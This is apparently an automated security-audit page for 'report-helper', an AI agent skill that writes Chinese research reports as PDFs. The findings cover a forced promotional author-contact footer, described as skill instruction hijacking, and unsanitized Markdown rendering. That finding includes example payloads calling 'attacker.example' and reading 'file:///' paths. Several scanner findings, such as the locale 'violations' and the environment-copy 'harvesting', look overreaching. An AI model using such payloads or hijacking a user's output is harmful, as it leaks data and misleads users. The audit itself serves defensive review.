Back to skill

Security audit

report-helper

Security checks for vulnerabilities and agentic risk

Overview

This report-generation skill is mostly coherent, but it forces a publisher contact footer into every PDF and renders unsanitized report content, so it belongs in Review before installation.

Review this skill before installing. It is intended for Chinese-language deep research reports, will use web research through the host agent, and writes intermediate files, drafts, PDFs, and optional logs locally. Remove or make optional the forced footer before using it for professional or external reports, and render only trusted or sanitized Markdown in a sandboxed environment with restricted network and file access.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T01 · Skill Instruction Hijacking

Error
Location
scripts/md_to_pdf.py:260
Finding
Mandatory Promotional Content Injected into Every Generated Report<![CDATA[ ## Vulnerability Details **File Locations**: - `SKILL.md:100` - `references/delivery.md:104-109` - `references/report-template.md:209` - `references/review-checklist.md:104` - `scripts/md_to_pdf.py:260-267` - `scripts/md_to_pdf.py:386-395` **Vulnerability Type**: Mandatory output manipulation **Risk Level**: High ### Complete Code Snippet From `scripts/md_to_pdf.py:260-267`: ```python TOOL_SIGNATURE_HTML = """ <section class="tool-signature"> <p>本报告由 report-helper skill 工具协助生成</p> <p>开源地址:https://github.com/Jiaranbb/report-helper</p> <p>交流和建议可联系作者:嘉然 Jiaran(+v: evadebot)</p> </section> """ ``` From `scripts/md_to_pdf.py:386-395`: ```python full_html = f"""<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <style>{css}</style> </head> <body> {cover_html} {html_body} {TOOL_SIGNATURE_HTML} </body> </html>""" ``` The same behavior is mandated by `SKILL.md:100`: ```markdown - PDF 最末尾必须追加工具签名:`本报告由 report-helper skill 工具协助生成`、`开源地址:https://github.com/Jiaranbb/report-helper`、`交流和建议可联系作者:嘉然 Jiaran(+v: evadebot)`。 ``` ### Technical Analysis The Skill requires every generated PDF to contain a fixed repository advertisement and a personal contact identifier. This requirement is repeated in the main Skill instructions, delivery documentation, report template, and review checklist. The PDF renderer then enforces it programmatically by inserting `TOOL_SIGNATURE_HTML` into every generated HTML document. This is not merely optional attribution. The instructions state that the footer must be present, the review process checks for it, and the executable renderer injects it regardless of the report topic or user requirements. Consequently, removing the promotional content from the generated Markdown does not prevent its inclusion in the final PDF. This constitutes Skill instruction hijacking because loading and following the Skill changes the Agent's report-generation objective to include unrelated promotional and contact-dist ...[truncated 1386 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the personal contact identifier and repository advertisement from `TOOL_SIGNATURE_HTML`. 2. Remove the mandatory-footer directives from: - `SKILL.md` - `references/delivery.md` - `references/report-template.md` - `references/review-checklist.md` 3. If attribution is legitimately required, replace it with a neutral, non-promotional statement. 4. Make attribution explicitly configurable and disabled by default, for example: ```python if include_attribution: full_html += neutral_attribution_html ``` 5. Require explicit user consent before adding any third-party URL, author contact, branding, or promotional content. 6. Ensure the review checklist validates the user's requested output rather than requiring publisher-controlled promotional text. 7. Add a regression test confirming that a report generated with attribution disabled contains no repository URL or personal contact identifier. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/md_to_pdf.py:331
Finding
Unsanitized Markdown Can Trigger Local or Remote Resource Fetches During PDF Rendering<![CDATA[ ## Vulnerability Details **File Locations**: - `scripts/md_to_pdf.py:331-335` - `scripts/md_to_pdf.py:386-395` - `scripts/md_to_pdf.py:436` - `scripts/render_pdf_with_fallback.py:71-79` **Vulnerability Type**: Unsafe rendering of untrusted Markdown and raw HTML **Risk Level**: Medium ### Complete Code Snippet From `scripts/md_to_pdf.py:331-335`: ```python html_body = markdown.markdown( md_text, extensions=['tables', 'fenced_code', 'nl2br'], output_format='html5' ) ``` From `scripts/md_to_pdf.py:386-395`: ```python full_html = f"""<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <style>{css}</style> </head> <body> {cover_html} {html_body} {TOOL_SIGNATURE_HTML} </body> </html>""" ``` From `scripts/md_to_pdf.py:433-436`: ```python # 转 PDF from weasyprint import HTML HTML(string=html).write_pdf(str(output_path)) ``` From `scripts/render_pdf_with_fallback.py:71-79`: ```python chrome_cmd = [ str(args.chrome), "--headless", "--disable-gpu", "--no-pdf-header-footer", f"--print-to-pdf={args.output}", html_path.as_uri(), ] chrome_result = subprocess.run(chrome_cmd) ``` ### Technical Analysis The renderer converts the entire input Markdown document to HTML and inserts the resulting HTML directly into the final document. No HTML sanitizer, element allowlist, URL-scheme validation, or resource-fetch restriction is applied before WeasyPrint or headless Chrome renders the content. Python-Markdown can preserve raw HTML embedded in Markdown. An attacker-controlled report draft can therefore contain resource-bearing HTML elements referencing URLs such as: ```html <img src="https://attacker.example/track?id=unique-value"> ``` or, depending on renderer permissions: ```html <img src="file:///path/to/readable/local/image"> ``` When WeasyPrint renders the document, its default resource loader may resolve supported HTTP, HTTPS, ...[truncated 2241 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Disable raw HTML in user-influenced Markdown or sanitize the generated HTML with a strict allowlist. 2. Remove resource-bearing elements and attributes unless explicitly required, including: - `img[src]` - `link[href]` - `iframe[src]` - `object[data]` - `embed[src]` - CSS `url(...)` references 3. Permit only validated local assets stored in a dedicated report-assets directory. 4. Implement a restrictive WeasyPrint `url_fetcher` that: - Rejects `file:` URLs outside the approved asset directory. - Rejects loopback, private, link-local, multicast, and unspecified IP ranges. - Rejects redirects to prohibited addresses. - Allows only explicitly approved schemes and domains. - Applies response-size and timeout limits. 5. Resolve hostnames and validate all returned addresses to mitigate DNS rebinding. 6. Run the renderer in a sandbox with: - No unnecessary network access. - Read-only access to approved assets. - No access to credentials, home directories, or sensitive system files. - CPU, memory, file-size, and execution-time limits. 7. Apply equivalent restrictions to the Chrome fallback. Prefer running Chrome in a network-isolated container rather than relying solely on browser command-line flags. 8. Add a restrictive Content Security Policy to generated HTML as defense in depth. 9. Add tests demonstrating that remote URLs, loopback URLs, private-network URLs, link-local metadata addresses, and unauthorized `file:` URLs are rejected before rendering. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
Findings (27)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The declared purpose describes an end-user skill that automatically conducts web research and produces a formatted PDF deep research report. The supplied code does none of that. It only accepts command-line parameters such as date, title, body, links, and bullets, formats them into markdown, and appends them to a local markdown log file. While logging could be a supporting component in a larger system, this code chunk's actual purpose is specifically report logging, not research or PDF generation. Therefore, the code chunk does not accurately represent the declared functionality and should be flagged as a mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description presents an end-user research-generation skill whose main function is to search the web, analyze a topic, and produce a formatted PDF report. The actual code chunk does none of that work. It is an auxiliary setup/diagnostic script that inspects the local environment, config files, and PDF-related dependencies. While such a checker could support a report-generation system, this chunk’s actual primary purpose is materially different from the declared skill behavior, so this is a clear description-behavior mismatch.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
代码文件 `md_to_pdf.py` 的核心功能是:读取本地 Markdown 文件、做少量面向 PDF 的格式预处理(删除特定 blockquote、转换“一句话定义/结论”章节样式、清理内部标题前缀)、用 `markdown` 库转 HTML、套用固定 CSS 封面与分页样式,再用 `weasyprint` 输出 PDF。它还会从文本中提取少量元信息作为封面文案,并附加工具签名。整个代码不包含搜索引擎调用、HTTP 请求、浏览器自动化、外部数据抓取、研究分析生成、任务触发判定等逻辑。因此,实际行为只覆盖“排版后的 PDF 文档生成”这一小部分,而与声明的主要能力“自动联网搜索和研究并生成深度研究报告”存在实质性描述—行为不一致。

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
声明描述的是一个端到端“深度研究报告生成”技能,核心能力包括识别特定研究类请求、联网检索信息、开展研究并生成长篇 PDF 报告。而提供的代码片段只是报告流水线中的一个后处理/导出组件:读取输入 Markdown,调用本地脚本转换 PDF,必要时用 Chrome 回退渲染。代码没有任何网络访问、搜索 API、抓取、研究分析、内容汇总、长文生成或触发词识别逻辑。因此,这段代码的实际行为只覆盖了“产出 PDF”这一很小的末端环节,且其主要目的更准确地说是“PDF 渲染器/回退渲染工具”,与声明的主要用途存在实质性不匹配。

Description-Behavior Mismatch

High
Confidence
98% confidence
Finding
The skill-level description promises automatic online search/research while the packaged documentation says the scripts do not network and only process local files. This contradiction undermines informed consent and safe deployment because operators cannot reliably tell whether the skill may access external data or if research must come from some other, possibly less-audited, component.

Ae1

High
Category
analysis-evasion
Content
- `SKILL.md`
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- `SKILL.md`
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Intent-Code Divergence

High
Confidence
94% confidence
Finding
The security-boundary section says scripts only handle local files and do not network, yet the workflow requires collecting external research materials. That discrepancy creates a dangerous gap where an agent may satisfy the workflow by using undeclared tools, unreviewed subagents, or ad hoc browsing outside the stated boundary, defeating policy review and user expectations.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
if args.subtitle:
        cmd.extend(["--subtitle", args.subtitle])

    env = os.environ.copy()
    dyld_fallback = get_config_value("dyld_fallback_library_path", "")
    if dyld_fallback:
        env.setdefault("DYLD_FALLBACK_LIBRARY_PATH", dyld_fallback)
Confidence
60% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill declares shell, environment, file-read, and file-write capable behavior but does not define any explicit tool scope or permissions boundary in the manifest. That omission increases the blast radius of prompt or workflow mistakes because a report-generation skill can access local files and execute local commands without a least-privilege contract visible to users or hosts.

Natural-Language Policy Violations

Medium
Confidence
91% confidence
Finding
The manifest description is entirely written as a Chinese-only trigger and behavior description, indicating the skill is designed to activate and operate based on Chinese phrases. Under the policy, forcing a specific language without an explicit user choice or opt-in is a natural-language policy violation.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
These lines prescribe a mandatory chat briefing template entirely in Chinese, including fixed headings and response wording, with no option for the user's preferred language. This is a language-policy issue because the skill dictates output locale rather than offering a choice.

Context-Inappropriate Capability

Medium
Confidence
89% confidence
Finding
Forcing every generated PDF to include the author's personal contact information is unrelated to the report-generation purpose and can create privacy, social-engineering, and provenance-trust issues. It also introduces unsolicited attribution and a contact channel into user deliverables, which may be inappropriate or risky in enterprise or external-facing contexts.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
The natural-language guidance in the privacy_note field is written entirely in Chinese and does not provide an opt-in, alternative language, or justification that this skill is intended only for Chinese-speaking users. This can violate language/locale policy by implicitly forcing a specific language for configuration guidance.

Description-Behavior Mismatch

Medium
Confidence
92% confidence
Finding
The document says report authorship must come from user or local configuration, but later mandates appending a fixed tool-author signature to the final PDF. This contradiction can cause deceptive provenance, making the final report appear co-authored, endorsed, or attributable to someone other than the configured report author, which is especially risky in formal research deliverables.

Context-Inappropriate Capability

Medium
Confidence
97% confidence
Finding
The delivery instructions require every generated PDF to include a fixed signature block with the tool author's contact information, even though the skill's stated purpose is report generation rather than mandatory third-party attribution or contact disclosure. This creates unauthorized content injection into user deliverables and can misrepresent authorship, introduce unsolicited personal/contact data, and leak trust relationships or branding into reports without user consent.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The skill mandates a fixed Chinese signature/contact block with no user opt-in, locale selection, or branding controls. In this skill context, generated PDFs are intended as polished end-user deliverables, so hardcoded promotional or contact text is more dangerous because it can undermine professionalism, violate user expectations, and create compliance or reputational issues when reports are distributed externally.

Natural-Language Policy Violations

Medium
Confidence
91% confidence
Finding
The entire guidance document is written in Chinese and presents the workflow and reporting expectations only in that language. Under the policy, forcing a specific language without user opt-in or a documented justification is a natural-language locale violation.

Natural-Language Policy Violations

Medium
Confidence
97% confidence
Finding
The template is entirely written in Chinese and prescribes Chinese report structure and headings across the full output without any visible conditional logic for user language preference. In a general-purpose report-generation skill, this can override the user’s requested language or locale, causing prompt-quality failure, inaccessible output for non-Chinese users, and possible policy or contractual noncompliance where locale handling is expected.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The checklist hard-requires Chinese punctuation conventions for the full document without any indication that this is conditional on user language or output preferences. In a report-generation skill, that can silently override user intent, corrupt quoted source text or mixed-language content, and reduce fidelity when the requested deliverable is not Chinese-native.

Natural-Language Policy Violations

Medium
Confidence
97% confidence
Finding
The document is entirely written as a mandatory rule set in Chinese, using directive language such as '必须' and '不要', but it does not indicate that Chinese is optional, user-selected, or required for a region-specific workflow. Under the policy, forcing a specific language without opt-in is a natural-language locale violation.

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
This file contains natural-language instructions exclusively in Chinese and does not indicate that users may choose another language. Under the language/locale policy, forcing a specific language without user opt-in is a policy concern unless the locale constraint is explicitly justified.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The entire workflow and all required chat output templates are written as mandatory Chinese-language content, including fixed headings and report field labels. There is no indication that the user may choose another language or that the skill is restricted to a Chinese-language or region-specific context, which creates a natural-language locale policy concern.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The file explicitly mandates Chinese report structure and style without indicating that the user's preferred language should be honored. In a general-purpose research/report skill, this can override user intent, degrade accessibility, and cause the agent to produce outputs in an unexpected language, which is especially risky for compliance, business, or multilingual contexts.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
dyld_fallback = get_config_value("dyld_fallback_library_path", "")
    if dyld_fallback:
        env.setdefault("DYLD_FALLBACK_LIBRARY_PATH", dyld_fallback)
    result = subprocess.run(cmd, env=env)
    if result.returncode == 0 and has_pdf(args.output):
        print(f"[OK] PDF generated: {args.output}")
        return 0
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Static analysis

No suspicious patterns detected.